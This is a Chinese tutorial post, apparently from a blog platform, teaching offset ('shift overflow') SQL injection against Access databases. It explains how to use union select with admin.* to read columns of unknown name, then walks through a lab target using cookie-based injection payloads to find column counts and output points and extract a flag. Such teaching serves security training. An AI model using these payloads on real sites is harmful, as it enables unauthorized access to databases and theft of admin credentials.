Access数据库——偏移注入之移位溢注

本文详细介绍了Access数据库中的偏移注入,又称移位溢注,重点讲解了其应用场景、概念、必要条件及例题。通过案例分析了如何在不知道字段名的情况下,利用移位溢注技巧获取数据,包括联合查询的字段数匹配、输出点的确定等关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

1、偏移注入使用场景

2、什么是移位溢注?

必要条件

a. 第一种情况

b. 第二种情况

原理

c. 第三种情况

3、例题讲解——利用JS设置

推测字段数

更换注入点推测字段数

推测输出点

获得数据


1、偏移注入使用场景

在做SQL注入的时候,通常我们查询数据需要知道在哪个表哪个字段,我们才能在里面提取到我们想要的数据,比如说select password from admin,从admin表里面取password字段里面的内容;

在做渗透测试会遇到一种情况,比如没有系统自带库,因为有的系统自带库可能权限不够访问不了,像Access数据库根本就没有系统自带库;如果遇到这种情况就会产生一些问题,表名、字段名就需要强行猜

需要强行猜就会造成一种情况,比如说它的字段名设置的比较奇葩的时候,例如像这样的:H5scker_Passwd,这一类的密码字典里面不存在,所以基本上来说是爆破不了;

这样的问题该如何解决?

如果不知道表名,那在Access数据库中也是无解的,它不能够通过Burp一个个地爆破,但是如果知道表名不知道字段名,那是有解的,就要用到——偏移注入(移位溢注)


2、什么是移位溢注?

偏移注入正统的叫法是移位溢注,我们现在要学的方法叫做移位溢注,它跟正统的偏移注入不一样,移位溢注是现在做偏移注入比较主流的方法;

真正的偏移注入是要用一些左连接右连接的查询,比较麻烦,而且成功率比较低;所以我们学习成功率比较高的移位溢注;

之前我们学习过:

库.表.字段 => 选中某库中的某表中的某字段

select * from admin 查询admin表里面的全部字段内容

​​

可以看到里面有id、username、password字段;

输入select * from admin就能查询到admin表里字段内容;

会发现select * from admin等价于select id,username,password from admin

*(星号)就代表着id,username,password字段;

这个时候就会产生一个问题:为什么*就代表着admin表里的内容,而不是其他表的内容?

这是因为现在所查询的是admin表,所以*代表的是admin表里的所有字段;

select * from admin => select id,username,password from admin

这个地方还可以用库.表.字段来写select admin.* from admin

select admin.* from admin

会发现得到的结果和我们前面得到的结果是相同的;

可以得出一个小结论:

select admin.* from admin 中的 admin.*代表着admin表中的所有字段;

那么现在就知道了表名.*代表着这个表里所有的字段

这里就是核心概念;

举个例子:

select * from news where id =1 union select admin.* from admin

union:要求前后两条SQL语句的字段数必须相同;

union的核心是将两个查询的结果输出到一起

比如这有一个表,里面有学号,姓名,性别3个字段,第一条数据逐一显示了3个字段内容,但第二条数据不止显示了3个字段内容并且还多出了一个21;

那么这个数据去导入的时候就会出现问题,数据库不知道21是什么情况,不知道21是对应什么的,就会出现报错或者不执行,这里就是联合查询的核心,前后的字段数必须要相同

如果我们去写一个select 1,2,3,4这1,2,3,4并不重要,重要的是位置,你也可以写其他的select 222,111111,55555,6666是一样的,都是占4个位置,无论你写的再长,都是一样的;

select 1,2,3,4=select 222,111111,55555,6666
select 1,2,3,4=select 'skjfhkjhkja',222,345,112

回到上面那条语句;

select * from news where id =1 union select admin.* from admin

必要条件

偏移注入需要满足一定的条件:

①知道表名

②注入点的字段数长度要大于你想要查询的表的字段数

a. 第一种情况

后半条语句的字段数多于前半条语句的字段数

select * from news where id =1 union select admin.* from admin

可以union前后做个分割;

select * from news where id =1      假设这里是3个字段

union

select admin.* from admin              而这里是4个字段

像这样的情况就不能写select admin.* from admin,因为已经超出了前面的字段数

b. 第二种情况

前半条语句的字段数多于后半条语句的字段数

select * from news where id =1 假设这里是5个字段

union

select admin.* from admin         而这里是4个字段

像这样的情况,可以在后面admin.*前面加个1,当然加其他的也可以,这只是一个字段名;

select 1,admin.* from admin=select 1,id,username,password,token from admin 
"其中1,id,username,password,token为我们假设的字段名" -- qwe

news表里有5个字段,而原本的admin表只有4个字段,我们通过在admin.*前面增加一个1,强行凑成了5个字段,通过这样的方法是可以得到数据的;

select * from news where id =1  假设这里是5个字段

union

select 1,admin.* from admin      原本这里是4个字段,加个字段(这里加的是1)凑成了5个字段

  • 原理

id一般为整数型,我们假设id=9.99,并且假设输出点是在第2个字段,那么联合输出的会是哪个字段?

前半句:select * from news where id =9.99 

select * from news where id =9.99        假设输出点是在第2个字段

union

select 1,id,username,password,token from admin

结果是id字段;

如果将1的位置改一下会输出哪个字段呢?

select * from news where id =9.99        假设输出点是在第2个字段

union

select admin.*,1 from admin

select admin.*,1 from admin=select id,username,password,token,1 from admin
"其中id,username,password,token,1为我们假设的字段名" -- qwe

select * from news where id =9.99        假设输出点是在第2个字段

union

select 1,id,username,password,token from admin

结果是username字段;

c. 第三种情况

通过移位的方法获取数据

select * from news where id =9.99     假设news表有15个字段,输出点是在第8个字段

union

select admin.*,1 from admin              假设admin表有4个字段

select admin.*,1 from admin=select id,username,password,token,1 from admin
"其中id,username,password,token为我们假设的字段名" -- qwe

news表里有15个字段,admin.*有4个字段,分别是id,username,password,tooken;

select 1,2,3,4,5,6,7,8,9,10,11,admin.*
=>
select 1,2,3,4,5,6,7,8,9,10,11,id,username,password,tooken

现在会想到一个问题,怎么知道有张表叫news表,其实每一个漏洞都有适用范围,前面列举的那些例子都有一个必要条件就是知道表名,如果能够知道表名,那么就能用order by 来判断表里有几个字段;

输出点在8,如果想把id字段输出,需要怎么做呢?只需要换一下位置;

select 1,2,3,4,5,6,7,admin.*,8,9,10,11
=>
select 1,2,3,4,5,6,7,id,username,password,tooken,8,9,10,11

不同位置输出的结果是不同的;

select 1,2,3,4,5,6,admin.*,7,8,9,10,11
=>
select 1,2,3,4,5,6,id,username,password,tooken,7,8,9,10,11

将7往后移了1位,而admin必然就往前进了1位,此时结果为username;

如果把6移到后面去;

select 1,2,3,4,5,admin.*,6,7,8,9,10,11
=>
select 1,2,3,4,5,id,username,password,tooken,6,7,8,9,10,11

输出的结果是password;

通过这样的移法,admin.*来代替表里所有的字段,在不知道字段名的情况下也能够获取数据,这就是偏移注入;

这个时候会出现新的疑问,admin表的字段数不知道,怎么办?

前面例题说了有15个字段,那我们暂时就先假设有15个字段;

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

我们可以不断尝试;

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,admin.*

如果显示不正常或者出现了报错的情况,那我们可以继续减;

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.*

减到正常为止;

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,12,admin.*
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,admin.*

如果到最后减完了,还是显示不正常,先检查一下语句有没有问题,如果没有问题,说明这个注入点不能用。


3、例题讲解——利用JS设置

  • 推测字段数

首先F12打开开发者工具;

输入语句之后回车;

document.cookie='id='+escape("171 union select 1,2,3,4,5,6,7,8,9,0,10 from admin")

设置cookie为id,再设置等于什么数值,escape是JS中URL编码的意思,所以会对传入的数据进行一次URL编码;

回车之后页面的显示;

​​​​

页面上出现了2、7、8、9、3,这些就是输出点,代表字段2、7、8、9、3都是输出点;

目前不知道admin表里有多少个字段,我们可以用admin.*来推测;

document.cookie='id='+escape("171 union select 1,2,3,4,5,6,7,8,9,admin.* from admin")

​​​​

很明显不对;

需要继续删;

document.cookie='id='+escape("171 union select 1,2,3,4,5,6,7,admin.* from admin")

​​​​

还是不对;

继续删;

document.cookie='id='+escape("171 union select 1,2,3,4,5,admin.* from admin")

​​​​

继续删;

document.cookie='id='+escape("171 union select 1,admin.* from admin")

​​

还是错的;

全部删除,会是什么样的结果?

document.cookie='id='+escape("171 union select admin.* from admin")

​​​​

还是不对;

  • 更换注入点推测字段数

全部删完都没有结果,说明当前注入点查询的表字段数是小于admin表,即admin.*一定大于10个字段;

代表偏移注入在这个注入点没有用了,但是漏洞不可能只有一个,在同一个网站内,同一个开发,其他的地方肯定还会有漏洞;

我们可以试试看其他地方是否存在漏洞呢,举个例子,我们试试看产品中心;

随机点进一个;

这里是105;

​​

试试看能不能用;

document.cookie='id='+escape("105")

发现这个可以用;

​​​​

接下来我们试试看 order by 1有没有数据;

document.cookie='id='+escape("105 order by 1")

​​​​

有数据;

再试试看 order by 100;

document.cookie='id='+escape("105 order by 100")

​​​​

没有数据了;

这么来看这里存在SQL注入的可能性非常大;

当我们将 order by 100这条命令再去执行一遍的时候却又可以了,又有数据了,这是为什么?

​​​​

问题出在于URL栏里,这部分要删除掉,因为当没有数据的时候,网站会自动返回上一页,就自动返回了105这个页面,所以输入命令后的每次回车都要把?之后的内容删掉;

删掉了才是正确的;

​​​​

接下来我们继续推测有几个字段;

试试看50;

document.cookie='id='+escape("105 order by 50")

​​​​

无数据;

试试看25;

document.cookie='id='+escape("105 order by 25")

​​​​

有数据了;

试试看30;

document.cookie='id='+escape("105 order by 30")

​​

没数据;

试试看27;

document.cookie='id='+escape("105 order by 27")

​​​

无数据;

结果在25~27之间,我们只需再查26;

document.cookie='id='+escape("105 order by 26")

​​​​

26有数据,27没数据,说明一共有26个字段;

  • 推测输出点

查看这26个字段里有哪些是输出点;

document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")

​​​​

删除URL栏里?后的内容后再回车;

可以确定这里有3个输出点,一定有3、5、7这三个输出点,但输出点不一定只有3、5、7;

我们可以看一下源代码有好几个数字,其中就有25,那这会不会也是输出点呢;

​​​​​​

试试看把25改一下,改成29999;

document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,29999 from admin")

会发现这里也变了;

这说明25也是一个输出点,有的输出点不会在页面上显示,也有可能藏在源码中

这时候出现新的问题,怎么样去找到藏在源码中的输出点;

像1、2、3、4、5、6、7、8、9这样的数字出现的比较多,在源码中就不好分辨,我们可以加比较有辨识度的数字,例:0000,8765,4321这样的,可以自定义;

但是不建议写字符串,因为有些数据库在做联合查询的时候有要求,如果写字符串可能会出现报错,因为原本是一个数字类型的,但写了字符串就可能会报错;

document.cookie='id='+escape("105 union select 18765,28765,38765,48765,58765,68765,78765,88765,98765,108765,118765,128765,138765,148765,158765,168765,178765,188765,198765,208765,218765,228765,238765,248765,258765,268765 from admin")

回车后,页面怎么没显示了?怎么没像前面一样显示输出点?

这是因为105是有数据的,数据会排序,我们需要加一个 and 1=2 ,是因为要让前面的语句查询不出结果;

但是前面我们正常的1、2、3、4、5、6、7、8、9、10却会有正常的显示,这是因为我们所看到的union select 1,2,3,4,5.......像union select 1对应的可能是id=1,因为数据库排序的缘故,id=1可能输出的比105输出的更上面;

之前我们在做的时候没写 and 1=2 ,这是因为后面这条语句所得到的结果比前面的语句要更大,比前面的语句排的更上面,所以就没有去写;

比如下面这个表格有2行数据,但是只会输出一行,那究竟会输出哪一行呢,这跟排序有关;

按照排序规则小的在前,那么取的就是1这行数据;

为了不让前面的语句干扰到,阻止前面的语句输出,就要写个 and 1=2;

document.cookie='id='+escape("105 and 1=2 union select 18765,28765,38765,48765,58765,68765,78765,88765,98765,108765,118765,128765,138765,148765,158765,168765,178765,188765,198765,208765,218765,228765,238765,248765,258765,268765 from admin")

刷新之后就会显示输出点;

我们再打开源代码,ctrl+f 搜索8765;

输出点有4个,分别是3、5、7、25;

 

  • 获得数据

现在我们知道了输出点,就可以通过 admin.* 去删,admin.*其实就相当于一个占位符;

document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin.* from admin")

一个个慢慢删;

document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,admin.* from admin")

​当我删到第16的时候,页面是正常的,admin.*就是第16个字段;

document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin")

​​​​

打开源代码,"width="450"是admin表里的倒数第二个字段,因为原本有26个字段,其中这个输出点是25,那就是倒数第二个;

接下来移一下,输出admin里的最后一个字段;

document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")

回车之后再去看源代码的内容,这个数据就是要获得的flag——zkaq{f0e12dafb6};

常理:前5至7个字段是最有用的,一般都是admin,id,username,password,校验码,邮箱;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值